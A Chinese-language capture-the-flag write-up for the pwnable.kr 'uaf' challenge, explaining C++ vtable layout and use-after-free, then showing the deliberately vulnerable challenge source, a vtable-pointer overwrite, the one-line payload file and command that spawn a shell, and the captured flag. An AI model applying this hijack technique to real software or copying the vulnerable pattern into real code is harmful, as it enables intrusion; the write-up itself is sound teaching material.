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考察点

  • 虚函数的内存地址空间
  • UAF

前置知识1：虚函数的内存地址空间

在C++中，如果类中有虚函数，那么它就会有一个虚函数表的指针__vfptr，在类对象最开始的内存数据中。之后是类中的成员变量的内存数据。
对于子类，最开始的内存数据记录着父类对象的拷贝（包括父类虚函数表指针和成员变量）。 之后是子类自己的成员变量数据。

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class Base 
{ 
    public: 
        virtual void f() { cout << "Base::f" << endl; } 
        virtual void g() { cout << "Base::g" << endl; } 
        virtual void h() { cout << "Base::h" << endl; } 
    int base; 
    protected: 
    private: 
}; 
//子类1，无虚函数重载 
class Child1 : public Base 
{ 
    public: 
        virtual void f1() { cout << "Child1::f1" << endl; } 
        virtual void g1() { cout << "Child1::g1" << endl; } 
        virtual void h1() { cout << "Child1::h1" << endl; } 
    int child1; 
    protected: 
    private: 
}; 
//子类2，有1个虚函数重载 
class Child2 : public Base 
{ 
    public: 
        virtual void f() { cout << "Child2::f" << endl; } 
        virtual void g2() { cout << "Child2::g2" << endl; } 
        virtual void h2() { cout << "Child2::h2" << endl; } 
    int child2; 
    protected: 
    private: 
};

单一继承，无虚函数重载

单一继承，重载了虚函数

多重继承


总结

  • 如果一个类中有虚函数，那么就会建立一张虚函数表vtable，子类继承父类vtable，若，父类的vtable中私有(private)虚函数,则子类vtable中同样有该私有(private)虚函数的地址。注意这并不是直接继承了私有(private)虚函数
  • 当子类重载父类虚函数时，修改vtable同名函数地址，改为指向子类的函数地址，若子类中有新的虚函数，在vtable尾部添加。
  • vptr每个对象都会有一个，而vptable是每个类有一个，vptr指向vtable，一个类中就算有多个虚函数，也只有一个vptr；做多重继承的时候，继承了多个父类，就会有多个vptr

前置知识2：Use-After-Free

Dangling pointer

Dangling pointer
Dangling pointer即指向被释放的内存的指针，通常是由于释放内存后，未将指针置为NULL。

UAF原理

对Dangling pointer所指向内存进行use，如指针解引用等。

利用思路

将Dangling pointer所指向的内存重新分配回来，且尽可能使该内存中的内容可控（如重新分配为字符串）

举例

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typedef struct
{
    int id;
    char *name;
    int (*func)() //函数指针，可以理解为类里面的方法
};

假设有上述这样的一个结构体指针p。
在释放掉p之后，没有将p置NULL，所以p变成Dangling pointer，再通过重新分配，再次拿到p之前指向的这段地址空间。
之后，通过strcpy(p2,”addr”)，或者其他方式，向这段地址空间写入新数据。
然后当我们通过其他函数，再次使用p指针，就会造成无法预料的后果，因为此时p指针指向的内存包含的已经是完全不同的数据

  • 任意地址读：puts(p->name)—————>puts(char*(addr2))
  • 任意地址写：strcpy(p->name,data);——>strcpy((char *)(addr2),data)
  • 控制流劫持：p->func()———————>call addr3

题目链接

http://pwnable.kr/play.php
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf
https://github.com/eternalsakura/ctf_pwn/blob/master/pwnable.kr/uaf.cpp

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#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};
class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

分析

先checksec

因为这是一道开源pwn，给了我们源码，而且代码也不复杂，没有什么逆向的必要，为了方便理解，我就直接从源码进行分析。

类的继承和虚表

可以看出Man和Woman都是继承了Human类，并且可以看出只要我们将控制流劫持到Human类的私有虚函数give_shell，就能getshell了。
Man和Woman都继承了Human类的vtable，可以通过调试，跟随子类的构造函数，找到vtable。

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class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};
class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

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Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
        switch(op){
                 case 1:
                        m->introduce();
                        w->introduce();
                        break;
                case 2:
                        len = atoi(argv[1]);
                        data = new char[len];
                        read(open(argv[2], O_RDONLY), data, len);
                        cout << "your data is allocated" << endl;
                        break;
                case 3:
                        delete m;
                        delete w;
                        break;
                default:
                        break;
                }
        }

可以看出程序给了我们3个选项

  • use 使用指针指向的函数
  • after 分配一段地址空间，我们可以用其将已经被free的内存，重新allocate
  • free 将指针指向的内存释放

组合起来就是UAF。

利用思路

  • 调试找到虚表中give_shell函数地址。
  • free后再allocate，得到一个可控的地址空间.
  • 为了在use，即m->introduce()时，将本来执行的introduce函数变成执行give_shell函数，在allocate的同时，改写虚表指针。
  • 劫持控制流，执行give_shell

漏洞调试和利用

找到Man的构造函数，从而找到虚函数表



覆盖虚表指针

  • give_shell
  • Man::introduce
  • call introduce

    可以看出在执行m->introduce()的时候，调用call [vptr+8]。
    为了执行give_shell，我们覆盖虚表指针，让它前移8个字节，这样call [vptr+8]的时候就调用give_shell了。
  • allocate

    从上图可以看出，原本Man对象分配的堆空间是0x18，即24字节，所以我们在再次分配的时候，也要分配24字节，保证自己拿到的是原先被free掉的地址空间。
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Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
...
delete m;
delete w;

因为先free m再free w，所以为了再次拿到m所指向的空间，我们需要分配两次，第一次得到w所指向的空间，第二次才再次得到m所指向的空间

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len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);

在此题中，是通过从文件中读出内容覆盖原先的内容的，等同于之前写的strcpy(p->name,data)，读取的长度是命令行的argv[1]，打开的文件是argv[2]

0x401570-0x8=0x401568->\x68\x15\x40\x00\x00\x00\x00\x00

getshell

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python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/exp.txt
./uaf 24 /tmp/exp.txt

...

yay_f1ag_aft3r_pwning

参考链接

  1. c++类实例在内存中的分配
    http://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
  2. ichunqiu ctf pwn
    https://www.ichunqiu.com/qad/course/57507